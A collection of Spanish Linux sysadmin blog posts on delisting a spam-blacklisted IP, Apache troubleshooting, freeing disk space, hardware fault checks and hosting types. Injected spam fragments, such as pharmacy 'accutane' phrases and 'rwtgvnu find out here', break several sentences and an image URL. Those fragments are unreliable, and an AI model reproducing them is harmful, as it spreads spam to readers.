Ip bloqueada por spam – Taller Linux

Ip catalogada como spammerUno de los problemas más comunes actualmente en el uso del correo electrónico es la posibilidad de que los emails que mandamos no lleguen a los destinatarios o entren en su carpeta de correo no deseado o “spam”. Esto normalmente es debido a que nuestro sistema de correo tiene su ip bloqueada por spam en las numerosas listas negras DNS o DNSBL que hay por Internet.

De este problema normalmente nos enteramos porque algunos correos vienen devueltos con un mensaje que hace referencia a una lista negra y nuestra Ip.

En los hosting compartidos, cuando nosotros no tenemos control sobre el servidor de correo no queda otra que avisar a los administradores para que lo revisen, pero si el problema está en nuestro servidor será necesario que nosotros nos hagamos cargo o bien busquemos ayuda especializada para resolverlo.

En esta entrada vamos a explicar cuales son los pasos que se deben seguir para trazar y resolver las incidencia de este tipo, aunque como siempre nos ceñiremos a los casos más comunes.

1. ¿La Ip está listada o tiene baja reputación?

En la red existen gran cantidad de páginas dedicadas a mostrar cuando una ip está listada por alguna DNSBL o que son útiles para determinar si tiene baja reputación de envío. Por poner ejemplos podemos citar:

www.dnsbl.info

– Te permite revisar una ip contra un listado extenso de las más importantes DNSBL.

multirbl.valli.org

– Igual que la anterior pero tiene casi todas las listas que existen.

www.senderscore.org

– Te ofrece una puntuación a la IP en base a los correos enviados en los últimos 30 días, es muy utilizada.

www.zy0.de

– Permite revisar las listas mas importantes y ademas ofrece ejemplos de correos ilegítimos enviados desde la ip a su red de SPAMTRAPS.

2. ¿Nuestro servidor está enviando SPAM?

Una vez que ya tenemos claro el punto anterior podemos pasar al siguiente, que es clave ya que como dice el proverbio “cuando el rio suena es que agua lleva” y si suena en nuestro caso probablemente es porque se ha estado enviando spam y del malo.

Para ello lo primero que debemos hacer es revisar la cola de salida de nuestro MTA (servicio de correo), ya que los spammers que abusan de los sistemas ajenos suelen enviar enormes cantidades de correos rwtgvnu find out here. En estos envíos masivos los destinatarios muchas veces no existen o directamente son rechazados por filtros antispam bien configurados, y por tanto seguirán en la cola de salida siendo retrasados, a veces incluso bloqueando el correo legitimo. Estos correos nos permitirán determinar de una forma rápida e inequívoca si el correo es ilegitimo e incluso identificar al emisor.

Al revisar la cola uno de los primeros indicadores que debemos ver es la cantidad de correo saliente. En un servidor saludable no muy grande no debería haber más que unos pocos correos a la espera de ser entregados, si vemos un numero elevado ya podemos empezar a sospechar. Debemos también mirar con lupa el origen de los mensajes y si es posible el asunto que tienen. Si vemos cuentas de origen que no existen en nuestro servidor, o asuntos inequívocamente falsos deberemos revisar su contenido y así ya tendremos el primer punto completado. En un futuro ofreceremos una entrada con los detalles para efectuar este proceso en los servidores de correo más utilizados.

Si en la cola no hay evidencias claras también podemos revisar el log de correo de nuestro servidor, que tiene un registro de todo lo que ocurre aunque no contiene detalles como el asunto o la posibilidad de ver el mensaje, por esto hemos mirado primero la cola. Allí podremos utilizar comandos como cat, grep, wc, sort, uniq, etc .. para tratar de sacar listados que nos muestren un comportamiento anómalo y así poder identificar al emisor.

En el peor de los casos es posible que los spammers utilicen un programa que incluya internamente su propio servicio de correo, con lo que no aparecerán los mensajes en nuestra cola de correo o en el log. Estos casos los detectaremos porque nuestra IP estará constantemente listada, e incluso en algunas paginas podremos ver los correos enviados a los SPAMTRAPS, pero no habrá nada en la cola y el log.

Para finalizar este punto, con la anterior revisión ya nos tendría que quedar claro si nuestro servidor está siendo utilizado ilícitamente o por el contrario el problema viene de envíos publicitarios demasiado agresivos. Si se debe a esto último podemos pasar directamente a la sección de limpieza de IP y de paso revisar nuestro articulo sobre buenas practicas enviando correo. En caso contrario podéis seguir leyendo porque os vamos a explicar como detectar la cuenta pirateada o script de envío y resolver el entuerto.

3. Detener el envío de SPAM

Siguiendo los puntos anteriores, una vez tenemos claro que se está abusando del servidor, lo principal es detener la salida de correo externa hasta que hayamos neutralizado la fuente de los problemas,  borrando los mensajes ilícitos en cola que pudieran quedar.

Dependiendo de que servidor de correo se esté utilizando (Postfix, Qmail, Sendmail, etc..) hay varias maneras de hacer esto, pero una muy sencilla y efectiva, sea lo que sea tengamos instalado, es cortar la salida al puerto 25 en nuestro firewall. Esto es bueno por varios motivos, uno porque es igual para todos y muy sencillo, dos porque se siguen pudiendo recibir y entregar correos de forma local, y tres nos aseguramos que los correos legítimos que se quieran salir a fuera no se perderán o rebotarán, ya que se quedarán en la cola intentando salir hasta que expire el tiempo asignado para los reintentos, que pueden ser varios días.

En el caso que no tengamos una interfaz gráfica para ello siempre podemos llamar a iptables directamente con está linea:

/sbin/iptables -A OUTPUT -p tcp --dport 25 -j DROP

Para asegurarnos de que no hay conexión con el exterior, podemos hacer un telnet a un servidor de correo remoto. Primero buscamos cual es el servidor Mail eXchange de por ejemplo gmail con una consulta “dig”:

[root@server ~]# dig mx gmail.com +short
30 alt3.gmail-smtp-in.l.google.com.
40 alt4.gmail-smtp-in.l.google.com.
5 gmail-smtp-in.l.google.com.
10 alt1.gmail-smtp-in.l.google.com.
20 alt2.gmail-smtp-in.l.google.com.

Cogemos la entrada mx con mayor prioridad (número menor) y lanzamos el telnet al puerto 25:

[root@server ~]# telnet gmail-smtp-in.l.google.com. 25
Trying 173.194.66.26...

Si no pasa de ahí es que ha funcionado, ya tenemos el envío de correo saliente bloqueado temporalmente.

4. Determinar y neutralizar la fuente del abuso.

En este punto deberemos revisar los logs de correo, la cola de envío, buscar ficheros modificados recientemente, etc.. cualquier cosa que nos indique si el envío proviene de una cuenta smtp cuya seguridad ha sido comprometida o de un script malicioso de alguna web, o mucho peor, del propio sistema con permisos de administrador.

En la revisión de logs, como hemos comentado antes es importante utilizar herramientas que nos permitan contabilizar el numero de entradas por ip, por cuenta de origen, por id del usuario, etc.. para poder visualizar el comportamiento anómalo. En la cola de envío si se da la suerte que tenemos acceso al cuerpo de un mensaje ilícito podremos buscar pistas que nos lleven a algún host infectado alojado en nuestro servidor, o incluso si configuramos correctamente php nos puede mostrar el nombre del script utilizado.

Cuando ni en el log ni en la cola hay evidencias claras, nos tocará buscar ficheros infectados, siendo entonces útil la herramienta “find”, buscando por el tiempo de modificación y por tipos de fichero ejecutables, como .php .js .html, etc.. La sintaxis exacta para las webs alojadas en “/var/www” y con 10 días de antiguedad sería:

find /var/www/ -type f -mtime -10

Pasar un antivirus libre como clamav por todos los ficheros también ayuda. Si el problema viene de una cuenta de correo smtp deberéis cambiar la contraseña y avisar a su usuario para que limpie su equipo y utilice una contraseña mas robusta. Si por un fichero web habrá que determinar si ha sido subido por una vulnerabilidad en el código o mediante una cuenta ftp pirateada, para la cual habría que tomar las mismas medidas que con la cuenta smtp.

Las posibilidades son muy amplias para abarcarlas en un post, os dejamos a vosotros la tarea de detectar la forma de inyección del correo malicioso y neutralizarla, o si no siempre podéis buscar ayuda profesional. 

5. Limpiar la cola de correo.

Una vez la amenaza este neutralizada tocará reparar los daños. Primero antes de permitir el envío de nuevo se deberá limpiar la cola de correo por si quedasen emails. Para esto cada servidor de correo dispone de unas herramientas especificas, permitiendo buscar por un nombre en las cabeceras de cada mensaje y eliminarlos de forma selectiva, para no afectar al correo legitimo.

 

6. Limpiar la Ip y reactivar el envío.

Por último, una vez la amenaza este neutralizada y el sistema limpio ya podremos reactivar la salida. En caso de que la IP haya sido catalogada como spammer tocará acceder a cada una de las  DNSBL que la tengan y seguir los pasos necesarios para solicitar su exclusión. Normalmente este proceso es gratuito aunque hay algunas listas que piden un importe para agilizar el tramite, nosotros no recomendamos pagar ya que existen formas de permitir enviar sin verse afectado por el bloqueo, y ademas no vemos ético que intenten lucrarse de esta forma.

Por ejemplo es posible redirigir el trafico de correo saliente desde nuestro servidor hacia otro servidor relay, que pondrá su IP para que nosotros podamos entregar el correo, o también es posible añadir una IP extra a nuestro servidor e indicarle a nuestro servicio de correo que envíe con ella.

Para solicitar la exclusión de la IP en una lista DNSBL lo primero que hay que comprobar es si dicha IP tiene la resolución inversa configurada, si no normalmente nos será denegada la petición. Esto es que su reverso sea un nombre identificable y no el genérico facilitado por el proveedor o que no tenga. Para esto primero debemos acceder al panel del proveedor de la ip (normalmente el del servidor),  y en su configuración  encontraremos seguro esta opción. Lo ideal es utilizar un nombre con un subdominio que siempre debe estar ya apuntando a dicha ip.

Por ejemplo una ip que sea “123.123.123.123” y aloje los servicios del dominio “ejemplo.com” le podríamos llamar “servidor.ejemplo.com” y a su vez, esta entrada DNS tipo A debería apuntar a 123.123.123.123, completando el circulo.

Con esto damos por finalizada esta entrada, esperamos que os haya sido de utilidad, cualquier duda o consulta como siempre no dudéis en transmitírnoslo añadiendo un comentario, email o rellenando nuestro formulario de contacto.

Un saludo!

 

Reparar problemas en el servicio web – Taller Linux

<img class="size-square wp-image-3670 alignleft" title="Servicio web" alt="Servicio web" src="http://www accutane capsules online.rdadmin.com/wp-content/uploads/2014/03/servidorweb-180×180.png” width=”180″ height=”180″ srcset=”https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-180×180.png 180w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-80×80.png 80w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-36×36.png 36w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-120×120.png 120w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb.png 256w” sizes=”(max-width: 180px) 100vw, 180px” />Uno de los usos más comunes de los servidores online es el de alojar sitios web. Esto es posible gracias a software que sirve contenido http entre otras cosas. En está entrada os explicaremos algunos trucos para poder detectar y reparar problemas en el servicio web que estén en sistemas GNU/Linux. Para simplificar nos centraremos en apache que es de los más usados.

Normalmente la primera noticia que tenemos cuando hay problemas en el servidor web es que los navegadores no son capaces visualizar los contenidos. Antes de entrar al servidor deberíamos revisar si el problema es de DNS y porque el nombre del dominio no resuelve a la Ip de nuestro servidor web. Esto se puede ver fácilmente usando  aplicaciones como ping,  host, nslookup dig, etc.. dependiendo de la que tengamos más a mano.

Si ya estamos seguros de que la DNS funciona y el dominio apunta a la ip del servicio web, deberemos acceder a este como administradores y tratar de averiguar y resolver cualquiera que sea el problema.

Antes de entrar al trapo, como primera información diremos que el protocolo http trabaja en el puerto 80 de nuestro servidor. Este es un dato importante ya que sabiéndolo podremos obtener fácilmente datos sobre los procesos que se estén ejecutando en el.

Una vez dentro, lo primero que podemos hacer es utilizar el comando “netstat” que muestra un listado de puertos y conexiones establecidas en nuestro servidor:

[root@server ~]# netstat -taupeln |grep LISTEN |grep :80
tcp    0     0 :::80     :::*     LISTEN   0     28682  7409/httpd

Como se aprecia, usando el comando junto con “grep”, para filtrar por “LISTEN” y “:80” nos muestra si hay algún proceso a la escucha en el puerto 80, y que utiliza el servicio “httpd”. Si quitásemos el “|grep LISTEN” del comando nos mostraría además las conexiones que siguen activas en ese puerto, entre ellas podemos encontrar conexiones establecidas, en espera o pendientes de cerrarse.

Además, disponemos también de un comando llamado “lsof” que nos puede mostrar aun más información referente a usuarios y a número de procesos corriendo. Este comando muestra información sobre los ficheros abiertos en el sistema Linux, dado que en Linux todo funciona a través de ficheros pues nos es muy útil. En este caso necesitamos indicarle que busque ficheros abiertos relacionados con el puerto 80 y esto lo haremos especificando  “-i :80”, dentro del sistema estando como usuarios administradores:

[root@server ~]# lsof -i :80
 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
 httpd 2158 root 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 20311 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 22408 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 24987 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 25426 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 25539 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 31734 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
[root@server ~]#

Esto de arriba es una salida normal de un servidor donde nadie está mirando las páginas alojadas. En ella podemos ver como el usuario que ejecuta los procesos es “apache”, que hay un proceso padre y 6 procesos hijos esperando a que entren peticiones para servirles el contenido. Si alguien mirase alguna página aparecería más información donde ahora aparece “LISTEN”, indicando el origen de la conexión entre otras cosas.

Si en nuestro servidor vemos que no hay procesos corriendo en el puerto 80 con cualquiera de los comandos anteriores, es indicativo de que el servicio web no está funcionando como debe y por tanto tendremos que intentar arrancarlo de nuevo. Esto dependiendo de que distribución de Linux utilicemos se hará utilizando un nombre o otro, en las distribuciones basadas en Redhat como Centos se hace con “httpd” y en las basadas en Debian  como Ubuntu, con “apache2”:

[root@server ~]# service httpd start
Starting httpd:                                            [  OK  ]
[root@server ~]#

En nuestro caso usamos httpd porque es un Centos, y como se ve el servidor web ha arrancado correctamente, con lo que solo nos quedaría comprobar que ahora si hay procesos corriendo y tratar de visualizar las webs de nuevo en el navegador.

En el caso que no arrancase es posible que nos muestre un mensaje de error que habría que analizarlo en detalle para determinar exactamente que ocurre, ya que hay muchas posibilidades. También deberíamos mirar en el log de errores para ver si ha salido algún mensaje indicativo. Esto lo podemos hacer con el comando cat o tail o con cualquier editor de textos de consola, como vim o nano, o emacs.

Una aplicación muy útil de las anteriormente mencionadas es “tail” ya que con el parámetro “-f” detrás nos permite ver los logs a tiempo real, por ejemplo:

tail -f /var/log/httpd/error_log

Si esto lo dejamos corriendo en una consola y con la otra tratamos de arrancar el servicio, o accedemos al navegador podremos ver los errores a tiempo real, lo cual será muy útil.

En ocasiones el servidor web parece estar arrancado y funcionando normalmente con sus procesos a la escucha, pero aun así las webs no funcionan correctamente y no muestran ningún contenido en el navegador.

En estos casos para ver que sucede lo prioritario como hemos indicado antes es mirar el log de errores, que normalmente mostrará información detallada de los problemas que impiden el funcionamiento. Una vez mostrado el error, si no sabemos de que se trata, lo normal es utilizar un buscador como Google para obtener información sobre este error y alguna forma de solucionarlo. Si aun así no aparece ningun mensaje lo que habría que hacer es parar todas las instancias del servidor web y lanzarlo en modo debug:

httpd -e DEBUG

Con esto si que deberíamos poder ver cualquier error interno para ayudarnos en su resolución. En cualquier caso si después de haber seguido todos estos pasos no consigues hacer funcionar tu servidor web te recomendamos que te pongas en manos de profesionales que puedan resolver la incidencia de forma rápida y eficiente.

Para finalizar vamos a poner un listado de los errores más comunes que nos podemos encontrar a la hora de levantar un servicio web caído y algunas ideas de como solucionarlos. Los errores que pueden salir en el log cuando el problema es de la configuración web o el código los dejamos para otra entrada posterior.

1. “make_sock: could not bind to address 0.0.0.0:80 no listening sockets available”

Si al arrancar el servicio web aparece este error probablemente es que ya se encuentre funcionando ya que hay algo a la escucha en el puerto  80. Si tenemos problemas podemos probar de detenerlo primero con un “service httpd/apache2 stop”, pero si aun así sigue saliendo el mismo error deberíamos matar el proceso que está ocupando el puerto 80, sacando primero el número pid con el comando lsof o netstat arriba descritos y usando el comando “kill -s 9 “pid” para forzarlo a pararse.

2. “No such file or directory: apache2: could not open error log file /var/log/apache2/error.log”

Con este error el servidor web nos indica que al arrancar no ha podido escribir en el log que tiene asignado en su configuración, bien porque la carpeta no existe, porque no puede crear el fichero o porque el fichero existe pero los permisos/usuarios no son los correctos. Para resolverlo hay que analizar todos estos factores y permitir que el usuario del servidor web pueda escribir en ese fichero y volver a lanzar el proceso.

3. “Starting httpd: Syntax error on line xxx of /etc/httpd/conf/httpd.conf:  DocumentRoot must be a directory”

A veces el error nos redirige a un punto exacto de la configuración del servicio web. En ese caso deberemos revisar el fichero de configuración en cuestión, y analizar que puede fallar exactamente en la linea indicada. En este caso  el “DocumentRoot” que es la raíz del servidor web no era accesible por este, siendo la solución similar a la del punto 2.

——————————————————————————————————

Y hasta aquí hemos llegado en esta entrada, si nos surgen más errores comunes los añadiremos junto con su explicación. Desde Rdadmin os instamos a que nos consultéis cualquier problema o duda que tengáis escribiendo en el blog o a nuestro email de contacto. Os ofreceremos asesoramiento sin ningún compromiso.

Liberar espacio en disco – Taller Linux

Liberar espacio en discoEn ocasiones nos encontramos con que los servicios de nuestro servidor han dejado de responder o lo hacen mal. Un causa bastante común de esto es que el disco duro se ha quedado sin espacio, y esto hace que por ejemplo mysql deje de servir consultas, con lo que ya la tenemos liada.

Lo primero que debemos hacer al detectar un problema de funcionamiento en un servidor Linux remoto es ver si podemos acceder por SSH y comprobar como se encuentran la cpu, memoria y disco con los comandos top, df y demás.  Con df, si alguna de las particiones está llena lo veremos en seguida:

[root@server ~]# df -h
S.ficheros          Tamaño Usado  Disp Uso% Montado en
/dev/sda1              20G  8,6G   11G  46% /
/dev/sda2             904G   63G  797G   8% /var
tmpfs                 997M     0  997M   0% /dev/shm

Dependiendo de como esté hecho el particionamiento podremos ver diferentes entradas en esta lista, una para cada partición, existente en el disco duro o virtual. El parámetro -h nos permite visualizar los tamaños en formato “humano” más legible, si no se presentaría en kbytes.

También, existe la posibilidad de que no se haya agotado el espacio en disco, pero si los inodos. Dado que solo puede haber un fichero por inodo se podría bloquear la escritura en el disco aun cuando quedase mucho espacio libre. Para averiguar el numero de inodos ocupados y disponibles de un sistema podemos añadir el parámetro “i” a nuestra búsqueda con “df”:

[root@server ~]# df -hi 
S.ficheros           Nodos-i NUsados NLibres NUso% Montado en
/dev/sda1               1,3M    107K    1,2M    9% /
/dev/sda2                57M    315K     57M    1% /var
tmpfs                   250K       1    250K    1% /dev/shm

Como veis los sistemas de ficheros normalmente tienen una gran cantidad de inodos disponibles, pero aunque parezca imposible en según que circunstancias es posible llenarlos,  al final de la entrada explicaremos una de las maneras de que esto ocurra.

Volviendo al espacio que es lo más común, cuando una partición está llena aparece de esta forma:

S.ficheros          Tamaño Usado  Disp Uso% Montado en
/dev/sda2             904G   904G  0G   100% /var

Como se aprecia no queda espacio disponible en la partición sda2, está el 100% ocupado. Una vez detectado la causa de la parada del servicio, lo que nos queda es determinar donde están esos datos extra, liberar espacio en disco y tratar de configurar el sistema para que no vuelva a ocurrir.

Para encontrar donde se encuentran los ficheros una manera sencilla es utilizar el comando “du”. Este comando muestra lo que ocupan las carpetas y directorios, aceptando paramentos como -sch, la “s” para que no muestre subdirectorios, la “c” para que nos ofrezca el total al final, y la “h” para que lo haga “human readable”.

Al poner este comando hay que especificar una ruta donde mirar. Si la ruta acaba en “/ruta/*”, nos mostrará detalladamente lo que ocupan las carpetas de dentro de “ruta”, si acaba así “/ruta” o “/ruta/” solo mostrará el total de esa carpeta.

Por tanto para descubrir que ocupa cada subcarpeta de /var habría que poner:

[root@server ~]# du -sch /var/*
4,0K    /var/account
12K    /var/aquota.user
33G    /var/backup
268M    /var/cache
12K    /var/db
8,0K    /var/drweb
16K    /var/empty
4,0K    /var/games
1,2G    /var/lib
4,0K    /var/local
32K    /var/lock
991M    /var/log
16K    /var/lost+found
0    /var/mail
240K    /var/named
4,0K    /var/nis
14M    /var/opt
8,0K    /var/parallels
4,0K    /var/PMMtmp
4,0K    /var/preserve
16K    /var/proftpd.delay
473M    /var/qmail
4,0K    /var/racoon
708K    /var/run
60K    /var/spool
4,0K    /var/tmp
27G    /var/www
4,0K    /var/yp
62G    total

Como veis se muestra cada subcarpeta o fichero y su respectivo tamaño look these up. Esto, si la lista es muy larga puede hacer que nos cueste ver donde están los que más ocupan, un truco para solo visualizar las carpetas que superen el Giga es usar el comando grep y filtrar  por “G” de Gigas. Solo mostrará cuando haya alguna carpeta que contenga la “G” mayúscula:

[root@server ~]# du -sch /var/* |grep "G"
 33G    /var/backup
 1,2G    /var/lib
 27G    /var/www
 62G    total

Una vez detectada la carpeta que puede tener un exceso de tamaño podemos volver a repetir la operación añadiéndola a la ruta que hemos usado antes:

[root@server ~]# du -sch /var/backup/* |grep "G"
33G    /var/backup/custom
33G    total

Lo que nos mostrará otra lista de carpetas con su respectivo tamaño. Una vez hayamos encontrado los ficheros que han ocasionado el problema será necesario moverlos, eliminarlos o reducirlos, según de que se trate, y tomar las medidas necesarias impedir que vuelva a ocurrir lo mismo.

Una vez eliminados podemos utilizar de nuevo el comando “df -h” para ver si el sistema de ficheros ya nos muestra tamaño disponible, y acto seguido recomendamos reiniciar todos los servicios afectados.

A veces después de eliminar los ficheros, si estos estaban siendo utilizados de alguna forma por el sistema, es posible que aunque el fichero ya no se muestre, el espacio siga estando ocupado y nuestro servidor seguirá sin funcionar correctamente.

Para determinar cuales son estos ficheros y liberar el espacio podemos utilizar el comando “lsof +L1” que nos mostrará los ficheros abiertos pero que ya no están enlazados al sistema, es decir que han sido marcados como borrados pero aun hay alguna aplicación que los está utilizando.

[root@server ~]# lsof +L1
COMMAND     PID   USER   FD   TYPE DEVICE    SIZE NLINK   NODE NAME
mysqld     4432  mysql    4u   REG    8,1       0     0 376834 /tmp/ibwZB0zu (deleted)
mysqld     4432  mysql    5u   REG    8,1     607     0 376844 /tmp/ibgjSOHT (deleted)
mysqld     4432  mysql    6u   REG    8,1       0     0 376845 /tmp/ibQLmDPi (deleted)
mysqld     4432  mysql    7u   REG    8,1       0     0 376846 /tmp/ibOXpa96 (deleted)
mysqld     4432  mysql   11u   REG    8,1       0     0 376847 /tmp/ib43kKjz (deleted)
smartd     4813   root  txt    REG    8,1 2384848     0 180658 /usr/sbin/smartd (deleted)
sw-engine 31645 psaadm    3u   REG    8,1       0     0 655362 /tmp/.apc.l2a6sN (deleted)
sw-engine 31645 psaadm    4u   REG    8,1       0     0 655363 /tmp/.apc.a1EXf4 (deleted)
sw-engine 31645 psaadm    5r   REG    8,1       0     0 655364 /tmp/.apc.9IfP2k (deleted)
sw-engine 31645 psaadm    6u   REG    8,1       0     0 655365 /tmp/.apc.2NuHPB (deleted)
sw-engine 31645 psaadm    7r   REG    8,1       0     0 655366 /tmp/.apc.DASzCS (deleted)
sw-engine 31645 psaadm    8u   REG    8,1       1     0 655367 /tmp/sw-engine-fcgi-accept-stamp.6TYYs9 (deleted)

En la columna “SIZE” se nos informa del tamaño de dicho fichero, y a través del “COMMAND”, el “USER”  y el “PID” podremos determinar que servicio es el que los tiene retenidos.

Si necesitamos urgentemente liberar ese espacio en disco podemos hacerlo de dos maneras, una matando el proceso que lo tiene abierto o reiniciando el sistema, o dos si no es posible hacer esto pues podemos vaciarlo manualmente de la forma siguiente:

1. Buscamos la ruta real del fichero, es la última columna, para el ejemplo utilizaremos “/tmp/ibgjSOHT” que ocupa 607. Para ello usaremos el PID y el FD de la lista sacada por el lsof, en este formato “/proc/PID/fd/FD”, y comprobamos que es así con un “ls -l”:

[root@server ~]# ls -l /proc/4432/fd/5
lrwx------ 1 root root 64 feb  6 10:42 /proc/4432/fd/5 -> /tmp/ibgjSOHT (deleted)

El destino del enlace debe corresponder con el fichero mostrado del lsof, y ademas ya nos indica que el fichero está marcado como “deleted”.

2. Machacaremos el fichero con la salida de /dev/null (es decir que lo vaciamos):

[root@server ~]# cat /dev/null > /proc/4432/fd/5
[root@server ~]# lsof +L1 |grep ibgjSOHT
mysqld    4432  mysql    5u   REG    8,1       0     0 376844 /tmp/ibgjSOHT (deleted)

Y ahora el fichero que ocupaba espacio ha pasado a ocupar 0, problema solucionado. En el caso de que hubiera muchos ficheros, este sistema manual habría que automatizarlo con un script, o bien ir pensando en parar el servicio que tiene abiertos los ficheros.

Y hasta aquí hemos llegado con esta entrada, las causas más comunes de exceso de recursos suelen ser por backups descontrolados, colas enormes de spam, lo que puede superar el limite de inodos, o logs de visitas/errores que crecen descontroladamente, aquí hemos llegado a verlos de 700Gb, pero esto ya forma parte de otro artículo.

Si tienes problemas de este tipo y no consigues solucionarlos por ti mismo te recomendamos contactar con un administrador especializado, nosotros ofrecemos estos servicios, visita nuestra página y pide presupuesto sin ningún compromiso.

Un saludo.

Detectar fallos de hardware (Parte 1) – Taller Linux

Hardware FaultEn esta semana en Taller Linux vamos a explicaros las formas más comunes de detectar fallos de hardware y como tratarlos en un servidor linux al cual no tenemos acceso físico. Primero para clarificar mejor vamos  a definirlos en dos categorías. A los problemas que hacen que un sistema no esté online, es decir no tenemos acceso a los servicios o SSH los llamaremos de tipo A. Y las incidencias donde el sistema aun está online y podemos acceder por SSH, pero por ejemplo de vez en cuando se reinicia, o se caen servicios, etc.. a estos los llamaremos de tipo B.

Por tanto, ante cualquier problema el primer paso es intentar acceder como administrador al sistema por SSH y determinar de que tipo es. Si no podemos acceder será de tipo A y si entramos y nos deja ejecutar comandos lo pondremos de momento en el tipo B accutane price.

TIPO A (No podemos acceder)

Para los de tipo A lo primero que tenemos que hacer es tratar de reiniciar el servidor. La mayoría de proveedores permiten esto, e incluso algunos permiten hacer un soft reset (en caliente), donde se le indica al sistema operativo que debe reiniciarse. También, si el proveedor lo permite es mejor arrancar el sistema en un modo rescate que no use el disco duro, para poder hacer pruebas y revisarlo más detenidamente, luego explicaremos lo que se puede hacer en este modo.

En caso que al reiniciarlo o activar el modo rescate siga sin estar accesible por el puerto de administración, ya será necesario contactar con el soporte que tengamos en el centro de datos ya que por nuestra parte no hay nada mas que podamos hacer.

Respecto a los reinicios en frío nos gustaría comentar dos cosas, la primera es que no hay que abusar de ellos porque son perjudiciales para el hardware. Suponen un corte en la alimentación de los dispositivos utilizados y esto puede generar más problemas, normalmente en discos duros pero también en el resto. Lo segundo es que al reiniciar un sistema linux, si este llevaba mucho tiempo encendido, es posible que necesite chequear automáticamente la estructura de ficheros en los discos y el arranque tarde un tiempo en completarse. Por tanto si se ha reiniciado de forma normal (no en modo rescate) habrá que esperar al menos de 30 a 60 minutos de inactividad para contactar con el soporte del proveedor. Por esto siempre es mejor arrancarlo en modo rescate si se tiene la posibilidad.

TIPO B (Podemos acceder)

Si por el contrario podemos acceder, estamos ante un problema tipo B que puede o no ser de hardware, aun tendremos que determinarlo. Cosas que podemos hacer:

  • Ver si ha quedado registrado algún error.

Para ello debemos ver las entradas sospechosas en el log del sistema, que suele ser el fichero /var/log/syslog o /var/log/messages. Lo normal es buscar por fecha y hora sabiendo cuando ha empezado el problema que nos ha llevado hasta aquí.

Si no sabemos con exactitud cuando buscar podemos filtrar por la palabra error, por ejemplo:

grep -i error /var/log/messages

Y aquí nos tendría que salir alguna cosa para determinar de donde proviene el fallo,

  • Utilizar SMART para buscar errores en los discos duros

Si los discos duros soportan la tecnología SMART es posible ver su estado de forma muy fácil, utilizando el comando:

smartctl -a /dev/dispositivo
  • Visualizar los sensores de temperatura, rpm y demás que haya configurados en el sistema.

Para ello podemos instalar la aplicación lm-sensors que suele estar en los repositorios de las distribuciones más usadas.

Si con todo esto seguimos sin detectar que puede estar sucediendo convendría arrancar el  sistema en modo rescate o de alguna forma que nos permita desmontar el disco duro y revisarlo a fondo sin todos los servicios en funcionamiento. Esto lo dejaremos para la segunda parte de este taller linux sobre como detectar fallos de hardware..

Un saludo

Hosting compartido vs hosting dedicado

Hola bienvenidos todos a este nuevo blog, para empezar queríamos tocar un tema básico como es la elección del tipo de hosting para nuestras paginas web y servicios. Vamos a explicar las principales ventajas, inconvenientes entre los tipos de hosting compartido vs hosting dedicado, o lo que se llaman servidores virtuales y dedicados. Luego haremos una valoración lo mas objetiva posible.

Hosting compartido:

Para definir este tipo podríamos decir que nuestros datos se almacenan junto a los de otros clientes, solo siendo separados a través de la configuración de los servidores web y de correo. También se comparte la misma IP, capacidad de proceso y conectividad.

Ventajas:

  1. Precio. Este tipo de alojamiento es siempre el mas económico de forma individual.
  2. No administración. No somos responsables del funcionamiento y seguridad del sistema operativo y de los problemas de hardware. Esto es un buen punto a favor.

Desventajas:

  1. Configuración. No es posible realizar modificaciones en la configuración mas allá de lo que nos permita el proveedor, que no suele ser mucho. Si necesitamos una versión especial de un software, o disponer de algún módulo concreto es posible que no sea factible.
  2. Rendimiento. La capacidad de trabajo y conectividad vendrá establecida en función de la carga del resto de usuarios, normalmente excepto en la capacidad de disco no hay una separación establecida.
  3. IP compartida. Tener  compartida la IP de salida de los correos, incluye la problemática de que nuestros correos sean catalogados como SPAM sin ser nuestra culpa, ya que si  uno de los otros usuarios hace envíos fraudulentos toda la plataforma se verá afectada.
  4. Responsabilidad. Somos responsables de los problemas derivados del código que subamos al servidor web. Esto es algo importante ya que si nuestra web es vulnerable y es explotada con fines maliciosos nos las veremos con el proveedor, que no se hará responsable y querrá neutralizar la amenaza a toda costa.

VPS o servidor virtual:

Los servidores virtuales son un híbrido entre hosting compartido y servidor dedicado. Se sigue teniendo los datos en el mismo servidor físico, pero un software de virtualización se encarga de crear sistemas pseudo-independientes para cada uno de los usuarios.

Ventajas:

  1. Estabilidad. El rendimiento de nuestro hosting será mas acotado a lo que nos ofrece el proveedor, ya que además de la capacidad de disco nuestro sistema dispondrá de memoria exclusiva y una porción mas o menos garantizada de la cpu, siempre que el VPS esté bien dimensionado y no sobre explotado.
  2. Ip exclusiva. Aquí se evitan los problemas de IPs catalogadas como emisoras de SPAM por culpa de otros usuarios.
  3. Configuración. Al ser un sistema operativo independiente, es posible instalar módulos o software a voluntad.
  4. Precio. Aunque el hosting compartido básico es mas económico de forma individual, si nuestro servidor virtual puede alojar múltiples dominios, a partir de cierto número nos saldrá mas rentable.
  5. Escalabilidad. Normalmente muchos proveedores permiten modificar las caracteristicas del servidor virtual sin necesidad de migrar tus datos. Esto te permite crecer de forma escalonada.
  6. Mantenimiento hardware. En los servidores virtuales no somos responsables del funcionamiento de los diferentes componentes que lo conforman. Si un disco duro fallase el proveedor sería el encargado de resolver la incidencia y tratar de no detener el funcionamiento de nuestros servicios.

Desventajas:

  1. Administración. Los servidores virtuales no gestionados no incluyen el servicio de mantenimiento para su sistema operativo, copias de seguridad, seguridad, etc. Administrar un sistema online puede ser una tarea compleja si no se dispone de los conocimientos o el tiempo necesarios. La incorrecta administración de un servidor virtual o dedicado puede derivar en problemas de funcionamiento o en el cierre del servicio por parte del proveedor.
  2. Rendimiento/precio. Con este tipo de alojamiento puedes contratar mas potencia respecto a los compartidos, aunque a un mayor precio respecto a los dedicados. La versatilidad tiene un coste.
